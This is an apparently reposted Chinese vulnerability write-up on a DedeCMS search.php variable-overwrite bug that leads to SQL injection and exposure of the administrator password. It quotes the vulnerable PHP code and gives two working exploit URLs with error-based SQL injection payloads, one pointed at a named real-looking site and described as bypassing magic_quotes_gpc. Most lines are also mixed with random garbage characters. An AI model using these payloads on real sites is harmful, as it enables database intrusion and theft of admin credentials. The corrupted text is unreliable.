微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.( |* i9 Q0 ? R) O: z* u
作者: c4rp3nt3r@0x50sec.org
$ t6 M& e4 O5 C0 v" s: mDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) r4 N d9 ]" H" e
* s4 q8 U% `8 Y; P8 E) `黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
+ g6 @; D) u- T' E9 Z1 d 7 V+ ?9 G$ ^" U6 \; S" J
============
8 l, U, x5 J% [- Z# P- ?$ h
2 J8 _" P+ [! w7 O. W : s3 q6 p) v: w) g* J% z# h
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
" M8 A3 ^7 d) Q5 u# m
$ d* {( h2 s, Z. [require_once(dirname(__FILE__).”/../include/common.inc.php”);
6 }4 y0 T2 h. Y$ v" }0 nrequire_once(DEDEINC.”/arc.searchview.class.php”);
% F% `* X' F; H $ Y3 k' x, E( M* q
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
, N4 k( m6 d- R( ?$ M1 I$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;$ ]: p* k7 c T7 V" d
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;/ d$ G" M0 Z2 P( [1 d: I' o( d4 ?
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;2 |. D8 F) |0 s, }4 D2 l
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;. j2 { x z" j3 K
, ~( f9 T$ z8 K5 Qif(!isset($orderby)) $orderby=”;; r$ V' A: {; s N. \' @7 K# v
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);% W5 K7 ^! s# p: V: A; I/ i+ {
. k Y, {) m9 J1 h8 H$ K
5 P+ B5 S% Y f6 u, ?' M0 c
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
1 e( k" K5 W8 D, Uelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
- N; s: T6 @6 _
, ?2 s5 N4 Z! z" }' jif(!isset($keyword)){
0 m- o n5 L+ [+ Z& H: H" v if(!isset($q)) $q = ”;# {: p+ v( t: { f. p
$keyword=$q;
& Z& u0 G2 T7 _5 ^' A}, b" T5 P+ p* P8 C7 g- K
) d% Y C8 ~1 s% Y* A O7 ?
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));4 G! f; J0 X# @( F
" `& f0 J7 v7 c
//查找栏目信息
, x6 j$ O+ ], k' ^9 }0 ~if(empty($typeid))
% w0 q) ]* Z5 w) y3 `, ]/ @{( e1 L. }# M6 ? ~3 X b* `0 J
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;/ @+ G* [) z$ H! b. k( R8 ^% d8 w
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )3 S. Y( y8 R8 u5 S! k8 |! V
{6 O9 E4 f; Z1 N- p9 ?0 H
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);$ C! E0 s9 `7 ?5 W7 ~- w2 M
fwrite($fp, “<”.”?php\r\n”);3 Q2 M, Q$ P' a5 s5 B; J8 ~( Z
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);* i% N% v4 G3 o+ H
$dsql->Execute();0 e, U# i% I/ ^# U# O2 V
while($row = $dsql->GetArray())$ l2 Q0 T' A& T! |- F4 m
{* B7 c4 Y9 Y# V" l
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
2 { R) w; q! c1 C }
/ x2 k0 C5 b) O8 N$ r% L0 } fwrite($fp, ‘?’.'>’);- Z6 r% ?; o( P
fclose($fp);6 @, P3 U6 p$ r @
}
O, T/ R) \( { //引入栏目缓存并看关键字是否有相关栏目内容
) ^( {: E5 V1 T# y8 H require_once($typenameCacheFile);
4 M: i' D, x$ o# Q+ o* y6 O" C//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个; b/ F/ K8 I: u& |. R
//2 X K) ]; F) ?) x8 O) R
if(isset($typeArr) && is_array($typeArr))1 T* u1 }6 B# |+ b
{
5 x; w& C4 O7 I' a9 ` foreach($typeArr as $id=>$typename)
- Q) F! Z+ O8 a% R; u& X4 u9 w1 o {
; f. l( l' P) v; d
% ~3 x6 i3 R y% D* R+ N <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
0 M6 W5 O; P& D5 j1 Q if($keyword != $keywordn)' `" y ?/ X7 }8 d+ k* ~3 f+ S7 c
{
( L; i2 j J/ Y" y7 m& U $keyword = $keywordn;
) C! H% Q. r; ? s <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设8 E( ]' x9 M, R3 @
break;: B% q& J" K0 F" R( H; T# ~
}
) C2 \, V% d9 h G3 g- ^. V }! R$ _- |& I& _- k# J: X
}4 Y% O" U; f' t% r' \5 }6 Z
}6 g( I& k4 A4 a/ R
然后plus/search.php文件下面定义了一个 Search类的对象 .1 E. T- X& C# U& L+ f& B$ J
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.# H/ n' a! q- y e
$this->TypeLink = new TypeLink($typeid);! Q* R8 n {. d$ }, ?; @4 e
! g y5 b: B9 n$ N& ?( e
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
; b: G% g; {& z: z+ N 3 R; k& x. R8 B( H
class TypeLink- s% i% i- }9 I5 D. P) X
{" C6 x! L [/ T/ m# ?
var $typeDir;! p S# i1 w' T1 M, [5 F/ J8 ]
var $dsql;
) H* i0 `9 x" a! t" U+ }4 T0 d1 X" c var $TypeID;$ q8 N- F' H3 h9 |; o7 U
var $baseDir;
- P3 d& s6 {4 M; V4 O var $modDir; k' l) ^+ j9 z+ x* ]
var $indexUrl;
8 q: m& l8 a5 ]) y var $indexName;
7 \2 Z! |/ e9 i, _1 X2 I- @ var $TypeInfos;
6 k% D, S p( d# I8 h. o" d var $SplitSymbol;
5 d4 d4 L' t+ e var $valuePosition;4 z! ?. R4 H0 L+ z, |) f, ^
var $valuePositionName;3 L6 C/ M' c; K# @& y
var $OptionArrayList;//构造函数///////
% a- Q! \, L' x+ S //php5构造函数
/ N" h# ~, ], [: P5 L8 \ function __construct($typeid)
* l" H6 h9 C. s# s& \ {# \, @3 i* k( i; j- b/ k3 Y
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];$ w, ^# U( x( ^" X2 D
$this->indexName = $GLOBALS['cfg_indexname'];
3 S. r$ K+ l4 B; e $this->baseDir = $GLOBALS['cfg_basedir'];& M3 D; L, G5 }) }4 @ `2 f* K7 i2 d
$this->modDir = $GLOBALS['cfg_templets_dir'];
' R) P3 ~* h9 ` $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];. `* @- O" ?: s& L
$this->dsql = $GLOBALS['dsql'];
) _8 L7 x+ R' Y* o $this->TypeID = $typeid;7 Y% E9 `2 [& ]* G
$this->valuePosition = ”;
2 z7 q) z) k& ]( v" K! x4 ? $this->valuePositionName = ”;! p9 H3 o+ |: G4 [7 f. I
$this->typeDir = ”;9 i" a' @+ }4 p
$this->OptionArrayList = ”;
d' }" _7 |+ K) V0 }
& b' I0 D. @1 c: n9 E0 Q' V //载入类目信息
* ?* W P* T- v1 ~ * L k1 l. t% {) X! p1 y% f0 S0 c r
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
, c8 |1 }0 S' s# n( I7 G, }* tctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
! ?' x+ w6 Y% w5 ~`#@__channeltype` ch
8 y- b3 N! ^, m; E9 l2 W on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
0 Y! X; Q5 h' r
5 {/ e/ [& J) w" f; y, _7 n- v if($typeid > 0)
. d+ q R# O7 a6 X" D {" K7 F( `8 Q1 S4 F& i. t- b! z* O
$this->TypeInfos = $this->dsql->GetOne($query);
, o3 U. K$ z$ c' Q+ }利用代码一 需要 即使magic_quotes_gpc = Off6 h7 O; o1 W. h% T
( H/ l& E9 o* b# x( v8 v, z
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
" I9 i4 d ^ ?3 f( v; R9 ~$ W9 d 6 z$ O* R* t7 Q5 b
这只是其中一个利用代码… Search 类的构造函数再往下
# Y- r. ~5 ~3 P$ Y4 Z z# p, g 3 Y% X4 H" J) r) o# J& {- o
……省略/ R* g7 _- J$ v' P1 v
$this->TypeID = $typeid;
$ d: M- ^$ I: n0 q……省略
# F; ^% G/ W! T6 Aif($this->TypeID==”0″){
. T. W, `; ]5 j+ n: Y4 Z $this->ChannelTypeid=1;
3 Y' Q0 \. s# |2 \! Q/ f# m }else{5 Z- y( \) U2 O1 s1 m9 @
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲& r) }5 F) w% a! o& U
//现在不鸡肋了吧亲…+ D! Q! x9 ?' P7 f. I: V9 R2 M
$this->ChannelTypeid=$row['channeltype'];
. b, ?, S$ B, U* E }! @8 K9 w p' t ) I. x9 s K, ?1 W. v
}
, @! s* y8 e. V- P6 J a1 e% W+ O利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
+ M) r( A7 u, a$ j2 J, T 0 O7 _& c/ U0 G/ V: U
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title+ C" e0 P/ A- d, C& B$ v8 [, r
( Q; w7 x6 Q7 N7 K6 i
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
9 n& n; k& R( {. Y. R; E; l9 X |